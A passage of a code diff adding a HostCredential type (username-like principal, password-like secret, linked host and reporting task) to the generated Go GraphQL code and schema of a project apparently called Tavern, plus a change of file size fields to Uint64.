+			if out.Values[i] == graphql.Null {
+				atomic.AddUint32(&out.Invalids, 1)
+			}
+		case "principal":
+			out.Values[i] = ec._HostCredential_principal(ctx, field, obj)
+			if out.Values[i] == graphql.Null {
+				atomic.AddUint32(&out.Invalids, 1)
+			}
+		case "secret":
+			out.Values[i] = ec._HostCredential_secret(ctx, field, obj)
+			if out.Values[i] == graphql.Null {
+				atomic.AddUint32(&out.Invalids, 1)
+			}
+		case "host":
 			field := field
 
 			innerFunc := func(ctx context.Context, fs *graphql.FieldSet) (res graphql.Marshaler) {
@@ -15901,7 +17202,10 @@ func (ec *executionContext) _Host(ctx context.Context, sel ast.SelectionSet, obj
 						ec.Error(ctx, ec.Recover(ctx, r))
 					}
 				}()
-				res = ec._Host_files(ctx, field, obj)
+				res = ec._HostCredential_host(ctx, field, obj)
+				if res == graphql.Null {
+					atomic.AddUint32(&fs.Invalids, 1)
+				}
 				return res
 			}
 
@@ -15925,7 +17229,7 @@ func (ec *executionContext) _Host(ctx context.Context, sel ast.SelectionSet, obj
 			}
 
 			out.Concurrently(i, func(ctx context.Context) graphql.Marshaler { return innerFunc(ctx, out) })
-		case "processes":
+		case "task":
 			field := field
 
 			innerFunc := func(ctx context.Context, fs *graphql.FieldSet) (res graphql.Marshaler) {
@@ -15934,7 +17238,10 @@ func (ec *executionContext) _Host(ctx context.Context, sel ast.SelectionSet, obj
 						ec.Error(ctx, ec.Recover(ctx, r))
 					}
 				}()
-				res = ec._Host_processes(ctx, field, obj)
+				res = ec._HostCredential_task(ctx, field, obj)
+				if res == graphql.Null {
+					atomic.AddUint32(&fs.Invalids, 1)
+				}
 				return res
 			}
 
@@ -17062,6 +18369,39 @@ func (ec *executionContext) _Task(ctx context.Context, sel ast.SelectionSet, obj
 				continue
 			}
 
+			out.Concurrently(i, func(ctx context.Context) graphql.Marshaler { return innerFunc(ctx, out) })
+		case "reportedCredentials":
+			field := field
+
+			innerFunc := func(ctx context.Context, fs *graphql.FieldSet) (res graphql.Marshaler) {
+				defer func() {
+					if r := recover(); r != nil {
+						ec.Error(ctx, ec.Recover(ctx, r))
+					}
+				}()
+				res = ec._Task_reportedCredentials(ctx, field, obj)
+				return res
+			}
+
+			if field.Deferrable != nil {
+				dfs, ok := deferred[field.Deferrable.Label]
+				di := 0
+				if ok {
+					dfs.AddField(field)
+					di = len(dfs.Values) - 1
+				} else {
+					dfs = graphql.NewFieldSet([]graphql.CollectedField{field})
+					deferred[field.Deferrable.Label] = dfs
+				}
+				dfs.Concurrently(di, func(ctx context.Context) graphql.Marshaler {
+					return innerFunc(ctx, dfs)
+				})
+
+				// don't run the out.Concurrently() call below
+				out.Values[i] = graphql.Null
+				continue
+			}
+
 			out.Concurrently(i, func(ctx context.Context) graphql.Marshaler { return innerFunc(ctx, out) })
 		default:
 			panic("unknown field " + strconv.Quote(field.Name))
@@ -17653,6 +18993,37 @@ func (ec *executionContext) marshalNHost2ᚖrealmᚗpubᚋtavernᚋinternalᚋen
 	return ec._Host(ctx, sel, v)
 }
 
+func (ec *executionContext) marshalNHostCredential2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐHostCredential(ctx context.Context, sel ast.SelectionSet, v *ent.HostCredential) graphql.Marshaler {
+	if v == nil {
+		if !graphql.HasFieldError(ctx, graphql.GetFieldContext(ctx)) {
+			ec.Errorf(ctx, "the requested element is null which the schema does not allow")
+		}
+		return graphql.Null
+	}
+	return ec._HostCredential(ctx, sel, v)
+}
+
+func (ec *executionContext) unmarshalNHostCredentialOrderField2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐHostCredentialOrderField(ctx context.Context, v interface{}) (*ent.HostCredentialOrderField, error) {
+	var res = new(ent.HostCredentialOrderField)
+	err := res.UnmarshalGQL(v)
+	return res, graphql.ErrorOnPath(ctx, err)
+}
+
+func (ec *executionContext) marshalNHostCredentialOrderField2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐHostCredentialOrderField(ctx context.Context, sel ast.SelectionSet, v *ent.HostCredentialOrderField) graphql.Marshaler {
+	if v == nil {
+		if !graphql.HasFieldError(ctx, graphql.GetFieldContext(ctx)) {
+			ec.Errorf(ctx, "the requested element is null which the schema does not allow")
+		}
+		return graphql.Null
+	}
+	return v
+}
+
+func (ec *executionContext) unmarshalNHostCredentialWhereInput2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐHostCredentialWhereInput(ctx context.Context, v interface{}) (*ent.HostCredentialWhereInput, error) {
+	res, err := ec.unmarshalInputHostCredentialWhereInput(ctx, v)
+	return &res, graphql.ErrorOnPath(ctx, err)
+}
+
 func (ec *executionContext) marshalNHostFile2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐHostFile(ctx context.Context, sel ast.SelectionSet, v *ent.HostFile) graphql.Marshaler {
 	if v == nil {
 		if !graphql.HasFieldError(ctx, graphql.GetFieldContext(ctx)) {
@@ -18429,6 +19800,81 @@ func (ec *executionContext) marshalOHost2ᚕᚖrealmᚗpubᚋtavernᚋinternal
 	return ret
 }
 
+func (ec *executionContext) marshalOHostCredential2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐHostCredentialᚄ(ctx context.Context, sel ast.SelectionSet, v []*ent.HostCredential) graphql.Marshaler {
+	if v == nil {
+		return graphql.Null
+	}
+	ret := make(graphql.Array, len(v))
+	var wg sync.WaitGroup
+	isLen1 := len(v) == 1
+	if !isLen1 {
+		wg.Add(len(v))
+	}
+	for i := range v {
+		i := i
+		fc := &graphql.FieldContext{
+			Index:  &i,
+			Result: &v[i],
+		}
+		ctx := graphql.WithFieldContext(ctx, fc)
+		f := func(i int) {
+			defer func() {
+				if r := recover(); r != nil {
+					ec.Error(ctx, ec.Recover(ctx, r))
+					ret = nil
+				}
+			}()
+			if !isLen1 {
+				defer wg.Done()
+			}
+			ret[i] = ec.marshalNHostCredential2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐHostCredential(ctx, sel, v[i])
+		}
+		if isLen1 {
+			f(i)
+		} else {
+			go f(i)
+		}
+
+	}
+	wg.Wait()
+
+	for _, e := range ret {
+		if e == graphql.Null {
+			return graphql.Null
+		}
+	}
+
+	return ret
+}
+
+func (ec *executionContext) unmarshalOHostCredentialWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐHostCredentialWhereInputᚄ(ctx context.Context, v interface{}) ([]*ent.HostCredentialWhereInput, error) {
+	if v == nil {
+		return nil, nil
+	}
+	var vSlice []interface{}
+	if v != nil {
+		vSlice = graphql.CoerceList(v)
+	}
+	var err error
+	res := make([]*ent.HostCredentialWhereInput, len(vSlice))
+	for i := range vSlice {
+		ctx := graphql.WithPathContext(ctx, graphql.NewPathWithIndex(i))
+		res[i], err = ec.unmarshalNHostCredentialWhereInput2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐHostCredentialWhereInput(ctx, vSlice[i])
+		if err != nil {
+			return nil, err
+		}
+	}
+	return res, nil
+}
+
+func (ec *executionContext) unmarshalOHostCredentialWhereInput2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐHostCredentialWhereInput(ctx context.Context, v interface{}) (*ent.HostCredentialWhereInput, error) {
+	if v == nil {
+		return nil, nil
+	}
+	res, err := ec.unmarshalInputHostCredentialWhereInput(ctx, v)
+	return &res, graphql.ErrorOnPath(ctx, err)
+}
+
 func (ec *executionContext) marshalOHostFile2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐHostFileᚄ(ctx context.Context, sel ast.SelectionSet, v []*ent.HostFile) graphql.Marshaler {
 	if v == nil {
 		return graphql.Null
diff --git a/tavern/internal/graphql/generated/mutation.generated.go b/tavern/internal/graphql/generated/mutation.generated.go
index 45c37836d..a40ae78ee 100644
--- a/tavern/internal/graphql/generated/mutation.generated.go
+++ b/tavern/internal/graphql/generated/mutation.generated.go
@@ -584,6 +584,8 @@ func (ec *executionContext) fieldContext_Mutation_updateHost(ctx context.Context
 				return ec.fieldContext_Host_files(ctx, field)
 			case "processes":
 				return ec.fieldContext_Host_processes(ctx, field)
+			case "credentials":
+				return ec.fieldContext_Host_credentials(ctx, field)
 			}
 			return nil, fmt.Errorf("no field named %q was found under type Host", field.Name)
 		},
diff --git a/tavern/internal/graphql/generated/root_.generated.go b/tavern/internal/graphql/generated/root_.generated.go
index ecf5bd13e..ce1f57e68 100644
--- a/tavern/internal/graphql/generated/root_.generated.go
+++ b/tavern/internal/graphql/generated/root_.generated.go
@@ -71,6 +71,7 @@ type ComplexityRoot struct {
 	Host struct {
 		Beacons        func(childComplexity int) int
 		CreatedAt      func(childComplexity int) int
+		Credentials    func(childComplexity int) int
 		Files          func(childComplexity int) int
 		ID             func(childComplexity int) int
 		Identifier     func(childComplexity int) int
@@ -83,6 +84,16 @@ type ComplexityRoot struct {
 		Tags           func(childComplexity int) int
 	}
 
+	HostCredential struct {
+		CreatedAt      func(childComplexity int) int
+		Host           func(childComplexity int) int
+		ID             func(childComplexity int) int
+		LastModifiedAt func(childComplexity int) int
+		Principal      func(childComplexity int) int
+		Secret         func(childComplexity int) int
+		Task           func(childComplexity int) int
+	}
+
 	HostFile struct {
 		CreatedAt      func(childComplexity int) int
 		Group          func(childComplexity int) int
@@ -168,19 +179,20 @@ type ComplexityRoot struct {
 	}
 
 	Task struct {
-		Beacon            func(childComplexity int) int
-		ClaimedAt         func(childComplexity int) int
-		CreatedAt         func(childComplexity int) int
-		Error             func(childComplexity int) int
-		ExecFinishedAt    func(childComplexity int) int
-		ExecStartedAt     func(childComplexity int) int
-		ID                func(childComplexity int) int
-		LastModifiedAt    func(childComplexity int) int
-		Output            func(childComplexity int) int
-		OutputSize        func(childComplexity int) int
-		Quest             func(childComplexity int) int
-		ReportedFiles     func(childComplexity int) int
-		ReportedProcesses func(childComplexity int) int
+		Beacon              func(childComplexity int) int
+		ClaimedAt           func(childComplexity int) int
+		CreatedAt           func(childComplexity int) int
+		Error               func(childComplexity int) int
+		ExecFinishedAt      func(childComplexity int) int
+		ExecStartedAt       func(childComplexity int) int
+		ID                  func(childComplexity int) int
+		LastModifiedAt      func(childComplexity int) int
+		Output              func(childComplexity int) int
+		OutputSize          func(childComplexity int) int
+		Quest               func(childComplexity int) int
+		ReportedCredentials func(childComplexity int) int
+		ReportedFiles       func(childComplexity int) int
+		ReportedProcesses   func(childComplexity int) int
 	}
 
 	TaskConnection struct {
@@ -378,6 +390,13 @@ func (e *executableSchema) Complexity(typeName, field string, childComplexity in
 
 		return e.complexity.Host.CreatedAt(childComplexity), true
 
+	case "Host.credentials":
+		if e.complexity.Host.Credentials == nil {
+			break
+		}
+
+		return e.complexity.Host.Credentials(childComplexity), true
+
 	case "Host.files":
 		if e.complexity.Host.Files == nil {
 			break
@@ -448,6 +467,55 @@ func (e *executableSchema) Complexity(typeName, field string, childComplexity in
 
 		return e.complexity.Host.Tags(childComplexity), true
 
+	case "HostCredential.createdAt":
+		if e.complexity.HostCredential.CreatedAt == nil {
+			break
+		}
+
+		return e.complexity.HostCredential.CreatedAt(childComplexity), true
+
+	case "HostCredential.host":
+		if e.complexity.HostCredential.Host == nil {
+			break
+		}
+
+		return e.complexity.HostCredential.Host(childComplexity), true
+
+	case "HostCredential.id":
+		if e.complexity.HostCredential.ID == nil {
+			break
+		}
+
+		return e.complexity.HostCredential.ID(childComplexity), true
+
+	case "HostCredential.lastModifiedAt":
+		if e.complexity.HostCredential.LastModifiedAt == nil {
+			break
+		}
+
+		return e.complexity.HostCredential.LastModifiedAt(childComplexity), true
+
+	case "HostCredential.principal":
+		if e.complexity.HostCredential.Principal == nil {
+			break
+		}
+
+		return e.complexity.HostCredential.Principal(childComplexity), true
+
+	case "HostCredential.secret":
+		if e.complexity.HostCredential.Secret == nil {
+			break
+		}
+
+		return e.complexity.HostCredential.Secret(childComplexity), true
+
+	case "HostCredential.task":
+		if e.complexity.HostCredential.Task == nil {
+			break
+		}
+
+		return e.complexity.HostCredential.Task(childComplexity), true
+
 	case "HostFile.createdAt":
 		if e.complexity.HostFile.CreatedAt == nil {
 			break
@@ -1061,6 +1129,13 @@ func (e *executableSchema) Complexity(typeName, field string, childComplexity in
 
 		return e.complexity.Task.Quest(childComplexity), true
 
+	case "Task.reportedCredentials":
+		if e.complexity.Task.ReportedCredentials == nil {
+			break
+		}
+
+		return e.complexity.Task.ReportedCredentials(childComplexity), true
+
 	case "Task.reportedFiles":
 		if e.complexity.Task.ReportedFiles == nil {
 			break
@@ -1252,6 +1327,8 @@ func (e *executableSchema) Exec(ctx context.Context) graphql.ResponseHandler {
 		ec.unmarshalInputCreateTomeInput,
 		ec.unmarshalInputFileOrder,
 		ec.unmarshalInputFileWhereInput,
+		ec.unmarshalInputHostCredentialOrder,
+		ec.unmarshalInputHostCredentialWhereInput,
 		ec.unmarshalInputHostFileOrder,
 		ec.unmarshalInputHostFileWhereInput,
 		ec.unmarshalInputHostOrder,
@@ -1715,6 +1792,106 @@ type Host implements Node {
   files: [HostFile!]
   """Processes reported as running on this host system."""
   processes: [HostProcess!]
+  """Credentials reported from this host system."""
+  credentials: [HostCredential!]
+}
+type HostCredential implements Node {
+  id: ID!
+  """Timestamp of when this ent was created"""
+  createdAt: Time!
+  """Timestamp of when this ent was last updated"""
+  lastModifiedAt: Time!
+  """Identity associated with this credential (e.g. username)."""
+  principal: String!
+  """Secret for this credential (e.g. password)."""
+  secret: String!
+  """Host the credential was reported on."""
+  host: Host!
+  """Task that reported this credential."""
+  task: Task!
+}
+"""Ordering options for HostCredential connections"""
+input HostCredentialOrder {
+  """The ordering direction."""
+  direction: OrderDirection! = ASC
+  """The field by which to order HostCredentials."""
+  field: HostCredentialOrderField!
+}
+"""Properties by which HostCredential connections can be ordered."""
+enum HostCredentialOrderField {
+  CREATED_AT
+  LAST_MODIFIED_AT
+  PRINCIPAL
+}
+"""
+HostCredentialWhereInput is used for filtering HostCredential objects.
+Input was generated by ent.
+"""
+input HostCredentialWhereInput {
+  not: HostCredentialWhereInput
+  and: [HostCredentialWhereInput!]
+  or: [HostCredentialWhereInput!]
+  """id field predicates"""
+  id: ID
+  idNEQ: ID
+  idIn: [ID!]
+  idNotIn: [ID!]
+  idGT: ID
+  idGTE: ID
+  idLT: ID
+  idLTE: ID
+  """created_at field predicates"""
+  createdAt: Time
+  createdAtNEQ: Time
+  createdAtIn: [Time!]
+  createdAtNotIn: [Time!]
+  createdAtGT: Time
+  createdAtGTE: Time
+  createdAtLT: Time
+  createdAtLTE: Time
+  """last_modified_at field predicates"""
+  lastModifiedAt: Time
+  lastModifiedAtNEQ: Time
+  lastModifiedAtIn: [Time!]
+  lastModifiedAtNotIn: [Time!]
+  lastModifiedAtGT: Time
+  lastModifiedAtGTE: Time
+  lastModifiedAtLT: Time
+  lastModifiedAtLTE: Time
+  """principal field predicates"""
+  principal: String
+  principalNEQ: String
+  principalIn: [String!]
+  principalNotIn: [String!]
+  principalGT: String
+  principalGTE: String
+  principalLT: String
+  principalLTE: String
+  principalContains: String
+  principalHasPrefix: String
+  principalHasSuffix: String
+  principalEqualFold: String
+  principalContainsFold: String
+  """secret field predicates"""
+  secret: String
+  secretNEQ: String
+  secretIn: [String!]
+  secretNotIn: [String!]
+  secretGT: String
+  secretGTE: String
+  secretLT: String
+  secretLTE: String
+  secretContains: String
+  secretHasPrefix: String
+  secretHasSuffix: String
+  secretEqualFold: String
+  secretContainsFold: String
+  """host edge predicates"""
+  hasHost: Boolean
+  hasHostWith: [HostWhereInput!]
+  """task edge predicates"""
+  hasTask: Boolean
+  hasTaskWith: [TaskWhereInput!]
 }
 type HostFile implements Node {
   id: ID!
@@ -1731,7 +1908,7 @@ type HostFile implements Node {
   """Permissions for the file on the host system."""
   permissions: String
   """The size of the file in bytes"""
-  size: Int!
+  size: Uint64!
   """A SHA3-256 digest of the content field"""
   hash: String
   """Host the file was reported on."""
@@ -1851,14 +2028,14 @@ input HostFileWhereInput {
   permissionsEqualFold: String
   permissionsContainsFold: String
   """size field predicates"""
-  size: Int
-  sizeNEQ: Int
-  sizeIn: [Int!]
-  sizeNotIn: [Int!]
-  sizeGT: Int
-  sizeGTE: Int
-  sizeLT: Int
-  sizeLTE: Int
+  size: Uint64
+  sizeNEQ: Uint64
+  sizeIn: [Uint64!]
+  sizeNotIn: [Uint64!]
+  sizeGT: Uint64
+  sizeGTE: Uint64
+  sizeLT: Uint64
+  sizeLTE: Uint64
   """hash field predicates"""
   hash: String
   hashNEQ: String
@@ -2230,6 +2407,9 @@ input HostWhereInput {
   """processes edge predicates"""
   hasProcesses: Boolean
   hasProcessesWith: [HostProcessWhereInput!]
+  """credentials edge predicates"""
+  hasCredentials: Boolean
+  hasCredentialsWith: [HostCredentialWhereInput!]
 }
 """
 An object with an ID.
@@ -2470,6 +2650,8 @@ type Task implements Node {
   reportedFiles: [HostFile!]
   """Processes that have been reported by this task."""
   reportedProcesses: [HostProcess!]
+  """Credentials that have been reported by this task."""
+  reportedCredentials: [HostCredential!]
 }
 """A connection to a list of items."""
 type TaskConnection {
@@ -2624,6 +2806,9 @@ input TaskWhereInput {
   """reported_processes edge predicates"""
   hasReportedProcesses: Boolean
   hasReportedProcessesWith: [HostProcessWhereInput!]
+  """reported_credentials edge predicates"""
+  hasReportedCredentials: Boolean
+  hasReportedCredentialsWith: [HostCredentialWhereInput!]
 }
 type Tome implements Node {
   id: ID!
@@ -2842,6 +3027,9 @@ input UpdateHostInput {
   addProcessIDs: [ID!]
   removeProcessIDs: [ID!]
   clearProcesses: Boolean
+  addCredentialIDs: [ID!]
+  removeCredentialIDs: [ID!]
+  clearCredentials: Boolean
 }
 """
 UpdateTagInput is used for update Tag object.
diff --git a/tavern/internal/graphql/schema.graphql b/tavern/internal/graphql/schema.graphql
index 5e62246f3..386f389a7 100644
--- a/tavern/internal/graphql/schema.graphql
+++ b/tavern/internal/graphql/schema.graphql
@@ -342,6 +342,106 @@ type Host implements Node {
   files: [HostFile!]
   """Processes reported as running on this host system."""
   processes: [HostProcess!]
+  """Credentials reported from this host system."""
+  credentials: [HostCredential!]
+}
+type HostCredential implements Node {
+  id: ID!
+  """Timestamp of when this ent was created"""
+  createdAt: Time!
+  """Timestamp of when this ent was last updated"""
+  lastModifiedAt: Time!
+  """Identity associated with this credential (e.g. username)."""
+  principal: String!
+  """Secret for this credential (e.g. password)."""
+  secret: String!
+  """Host the credential was reported on."""
+  host: Host!
+  """Task that reported this credential."""
+  task: Task!
+}
+"""Ordering options for HostCredential connections"""
+input HostCredentialOrder {
+  """The ordering direction."""
+  direction: OrderDirection! = ASC
+  """The field by which to order HostCredentials."""
+  field: HostCredentialOrderField!
+}
+"""Properties by which HostCredential connections can be ordered."""
+enum HostCredentialOrderField {
+  CREATED_AT
+  LAST_MODIFIED_AT
+  PRINCIPAL
+}
+"""
+HostCredentialWhereInput is used for filtering HostCredential objects.
+Input was generated by ent.
+"""
+input HostCredentialWhereInput {
+  not: HostCredentialWhereInput
+  and: [HostCredentialWhereInput!]
+  or: [HostCredentialWhereInput!]
+  """id field predicates"""
+  id: ID
+  idNEQ: ID
+  idIn: [ID!]
+  idNotIn: [ID!]
+  idGT: ID
+  idGTE: ID
+  idLT: ID
+  idLTE: ID
+  """created_at field predicates"""
+  createdAt: Time
+  createdAtNEQ: Time
+  createdAtIn: [Time!]
+  createdAtNotIn: [Time!]
+  createdAtGT: Time
+  createdAtGTE: Time
+  createdAtLT: Time
+  createdAtLTE: Time
+  """last_modified_at field predicates"""
+  lastModifiedAt: Time
+  lastModifiedAtNEQ: Time
+  lastModifiedAtIn: [Time!]
+  lastModifiedAtNotIn: [Time!]
+  lastModifiedAtGT: Time
+  lastModifiedAtGTE: Time
+  lastModifiedAtLT: Time
+  lastModifiedAtLTE: Time
+  """principal field predicates"""
+  principal: String
+  principalNEQ: String
+  principalIn: [String!]
+  principalNotIn: [String!]
+  principalGT: String
+  principalGTE: String
+  principalLT: String
+  principalLTE: String
+  principalContains: String
+  principalHasPrefix: String
+  principalHasSuffix: String
+  principalEqualFold: String
+  principalContainsFold: String
+  """secret field predicates"""
+  secret: String
+  secretNEQ: String
+  secretIn: [String!]
+  secretNotIn: [String!]
+  secretGT: String
+  secretGTE: String
+  secretLT: String
+  secretLTE: String
+  secretContains: String
+  secretHasPrefix: String
+  secretHasSuffix: String
+  secretEqualFold: String
+  secretContainsFold: String
+  """host edge predicates"""
+  hasHost: Boolean
+  hasHostWith: [HostWhereInput!]
+  """task edge predicates"""
+  hasTask: Boolean
+  hasTaskWith: [TaskWhereInput!]
 }
 type HostFile implements Node {
   id: ID!
@@ -358,7 +458,7 @@ type HostFile implements Node {
   """Permissions for the file on the host system."""
   permissions: String
   """The size of the file in bytes"""
-  size: Int!
+  size: Uint64!
   """A SHA3-256 digest of the content field"""
   hash: String
   """Host the file was reported on."""
@@ -478,14 +578,14 @@ input HostFileWhereInput {
   permissionsEqualFold: String
   permissionsContainsFold: String
   """size field predicates"""
-  size: Int
-  sizeNEQ: Int
-  sizeIn: [Int!]
-  sizeNotIn: [Int!]
-  sizeGT: Int
-  sizeGTE: Int
-  sizeLT: Int
-  sizeLTE: Int
+  size: Uint64
+  sizeNEQ: Uint64
+  sizeIn: [Uint64!]
+  sizeNotIn: [Uint64!]
+  sizeGT: Uint64
+  sizeGTE: Uint64
+  sizeLT: Uint64
+  sizeLTE: Uint64
   """hash field predicates"""
   hash: String
   hashNEQ: String
@@ -857,6 +957,9 @@ input HostWhereInput {
   """processes edge predicates"""
   hasProcesses: Boolean
   hasProcessesWith: [HostProcessWhereInput!]
+  """credentials edge predicates"""
+  hasCredentials: Boolean
+  hasCredentialsWith: [HostCredentialWhereInput!]
 }
 """
 An object with an ID.
@@ -1097,6 +1200,8 @@ type Task implements Node {
   reportedFiles: [HostFile!]
   """Processes that have been reported by this task."""
   reportedProcesses: [HostProcess!]
+  """Credentials that have been reported by this task."""
+  reportedCredentials: [HostCredential!]
 }
 """A connection to a list of items."""
 type TaskConnection {
@@ -1251,6 +1356,9 @@ input TaskWhereInput {
   """reported_processes edge predicates"""
   hasReportedProcesses: Boolean
   hasReportedProcessesWith: [HostProcessWhereInput!]
+  """reported_credentials edge predicates"""
+  hasReportedCredentials: Boolean
+  hasReportedCredentialsWith: [HostCredentialWhereInput!]
 }
 type Tome implements Node {
   id: ID!
@@ -1469,6 +1577,9 @@ input UpdateHostInput {
   addProcessIDs: [ID!]
   removeProcessIDs: [ID!]
   clearProcesses: Boolean
+  addCredentialIDs: [ID!]
+  removeCredentialIDs: [ID!]
+  clearCredentials: Boolean
 }
 """
 UpdateTagInput is used for update Tag object.
diff --git a/tavern/internal/graphql/schema/ent.graphql b/tavern/internal/graphql/schema/ent.graphql
index b706f0892..b10a76efc 100644
--- a/tavern/internal/graphql/schema/ent.graphql
+++ b/tavern/internal/graphql/schema/ent.graphql
@@ -337,6 +337,106 @@ type Host implements Node {
   files: [HostFile!]
   """Processes reported as running on this host system."""
   processes: [HostProcess!]
+  """Credentials reported from this host system."""
+  credentials: [HostCredential!]
+}
+type HostCredential implements Node {
+  id: ID!
+  """Timestamp of when this ent was created"""
+  createdAt: Time!
+  """Timestamp of when this ent was last updated"""
+  lastModifiedAt: Time!
+  """Identity associated with this credential (e.g. username)."""
+  principal: String!
+  """Secret for this credential (e.g. password)."""
+  secret: String!
+  """Host the credential was reported on."""
+  host: Host!
+  """Task that reported this credential."""
+  task: Task!
+}
+"""Ordering options for HostCredential connections"""
+input HostCredentialOrder {
+  """The ordering direction."""
+  direction: OrderDirection! = ASC
+  """The field by which to order HostCredentials."""
+  field: HostCredentialOrderField!
+}
+"""Properties by which HostCredential connections can be ordered."""
+enum HostCredentialOrderField {
+  CREATED_AT
+  LAST_MODIFIED_AT
+  PRINCIPAL
+}
+"""
+HostCredentialWhereInput is used for filtering HostCredential objects.
+Input was generated by ent.
+"""
+input HostCredentialWhereInput {
+  not: HostCredentialWhereInput
+  and: [HostCredentialWhereInput!]
+  or: [HostCredentialWhereInput!]
+  """id field predicates"""
+  id: ID
+  idNEQ: ID
+  idIn: [ID!]
+  idNotIn: [ID!]
+  idGT: ID
+  idGTE: ID
+  idLT: ID
+  idLTE: ID
+  """created_at field predicates"""
+  createdAt: Time
+  createdAtNEQ: Time
+  createdAtIn: [Time!]
+  createdAtNotIn: [Time!]
+  createdAtGT: Time
+  createdAtGTE: Time
+  createdAtLT: Time
+  createdAtLTE: Time
+  """last_modified_at field predicates"""
+  lastModifiedAt: Time
+  lastModifiedAtNEQ: Time
+  lastModifiedAtIn: [Time!]
+  lastModifiedAtNotIn: [Time!]
+  lastModifiedAtGT: Time
+  lastModifiedAtGTE: Time
+  lastModifiedAtLT: Time
+  lastModifiedAtLTE: Time
+  """principal field predicates"""
+  principal: String
+  principalNEQ: String
+  principalIn: [String!]
+  principalNotIn: [String!]
+  principalGT: String
+  principalGTE: String
+  principalLT: String
+  principalLTE: String
+  principalContains: String
+  principalHasPrefix: String
+  principalHasSuffix: String
+  principalEqualFold: String
+  principalContainsFold: String
+  """secret field predicates"""
+  secret: String
+  secretNEQ: String
+  secretIn: [String!]
+  secretNotIn: [String!]
+  secretGT: String
+  secretGTE: String
+  secretLT: String
+  secretLTE: String
+  secretContains: String
+  secretHasPrefix: String
+  secretHasSuffix: String
+  secretEqualFold: String
+  secretContainsFold: String
+  """host edge predicates"""
+  hasHost: Boolean
+  hasHostWith: [HostWhereInput!]
+  """task edge predicates"""
+  hasTask: Boolean
+  hasTaskWith: [TaskWhereInput!]
 }
 type HostFile implements Node {
   id: ID!
@@ -353,7 +453,7 @@ type HostFile implements Node {
   """Permissions for the file on the host system."""
   permissions: String
   """The size of the file in bytes"""
-  size: Int!
+  size: Uint64!
   """A SHA3-256 digest of the content field"""
   hash: String
   """Host the file was reported on."""
@@ -473,14 +573,14 @@ input HostFileWhereInput {
   permissionsEqualFold: String
   permissionsContainsFold: String
   """size field predicates"""
-  size: Int
-  sizeNEQ: Int
-  sizeIn: [Int!]
-  sizeNotIn: [Int!]
-  sizeGT: Int
-  sizeGTE: Int
-  sizeLT: Int
-  sizeLTE: Int
+  size: Uint64
+  sizeNEQ: Uint64
+  sizeIn: [Uint64!]
+  sizeNotIn: [Uint64!]
+  sizeGT: Uint64
+  sizeGTE: Uint64
+  sizeLT: Uint64
+  sizeLTE: Uint64
   """hash field predicates"""
   hash: String
   hashNEQ: String
@@ -852,6 +952,9 @@ input HostWhereInput {
   """processes edge predicates"""
   hasProcesses: Boolean
   hasProcessesWith: [HostProcessWhereInput!]
+  """credentials edge predicates"""
+  hasCredentials: Boolean
+  hasCredentialsWith: [HostCredentialWhereInput!]
 }
 """
 An object with an ID.
@@ -1092,6 +1195,8 @@ type Task implements Node {
   reportedFiles: [HostFile!]
   """Processes that have been reported by this task."""
   reportedProcesses: [HostProcess!]
+  """Credentials that have been reported by this task."""
+  reportedCredentials: [HostCredential!]
 }
 """A connection to a list of items."""
 type TaskConnection {
@@ -1246,6 +1351,9 @@ input TaskWhereInput {
   """reported_processes edge predicates"""
   hasReportedProcesses: Boolean
   hasReportedProcessesWith: [HostProcessWhereInput!]
+  """reported_credentials edge predicates"""
+  hasReportedCredentials: Boolean
+  hasReportedCredentialsWith: [HostCredentialWhereInput!]
 }
 type Tome implements Node {
   id: ID!
@@ -1464,6 +1572,9 @@ input UpdateHostInput {
   addProcessIDs: [ID!]
   removeProcessIDs: [ID!]
   clearProcesses: Boolean
+  addCredentialIDs: [ID!]
+  removeCredentialIDs: [ID!]
+  clearCredentials: Boolean
 }
 """
 UpdateTagInput is used for update Tag object.
diff --git a/tavern/internal/www/schema.graphql b/tavern/internal/www/schema.graphql
index 5e62246f3..386f389a7 100644
--- a/tavern/internal/www/schema.graphql
+++ b/tavern/internal/www/schema.graphql
@@ -342,6 +342,106 @@ type Host implements Node {
   files: [HostFile!]
   """Processes reported as running on this host system."""
   processes: [HostProcess!]
+  """Credentials reported from this host system."""
+  credentials: [HostCredential!]
+}
+type HostCredential implements Node {
+  id: ID!
+  """Timestamp of when this ent was created"""
+  createdAt: Time!
+  """Timestamp of when this ent was last updated"""
+  lastModifiedAt: Time!
+  """Identity associated with this credential (e.g. username)."""
+  principal: String!
+  """Secret for this credential (e.g. password)."""
+  secret: String!
+  """Host the credential was reported on."""
+  host: Host!
+  """Task that reported this credential."""
+  task: Task!
+}
+"""Ordering options for HostCredential connections"""
+input HostCredentialOrder {
+  """The ordering direction."""
+  direction: OrderDirection! = ASC
+  """The field by which to order HostCredentials."""
+  field: HostCredentialOrderField!
+}
+"""Properties by which HostCredential connections can be ordered."""
+enum HostCredentialOrderField {
+  CREATED_AT
+  LAST_MODIFIED_AT
+  PRINCIPAL
+}
+"""
+HostCredentialWhereInput is used for filtering HostCredential objects.
+Input was generated by ent.
+"""
+input HostCredentialWhereInput {
+  not: HostCredentialWhereInput
+  and: [HostCredentialWhereInput!]
+  or: [HostCredentialWhereInput!]
+  """id field predicates"""
+  id: ID
+  idNEQ: ID
+  idIn: [ID!]
+  idNotIn: [ID!]
+  idGT: ID
+  idGTE: ID
+  idLT: ID
+  idLTE: ID
+  """created_at field predicates"""
+  createdAt: Time
+  createdAtNEQ: Time
+  createdAtIn: [Time!]
+  createdAtNotIn: [Time!]
+  createdAtGT: Time
+  createdAtGTE: Time
+  createdAtLT: Time
+  createdAtLTE: Time
+  """last_modified_at field predicates"""
+  lastModifiedAt: Time
+  lastModifiedAtNEQ: Time
+  lastModifiedAtIn: [Time!]
+  lastModifiedAtNotIn: [Time!]
+  lastModifiedAtGT: Time
+  lastModifiedAtGTE: Time
+  lastModifiedAtLT: Time
+  lastModifiedAtLTE: Time
+  """principal field predicates"""
+  principal: String
+  principalNEQ: String
+  principalIn: [String!]
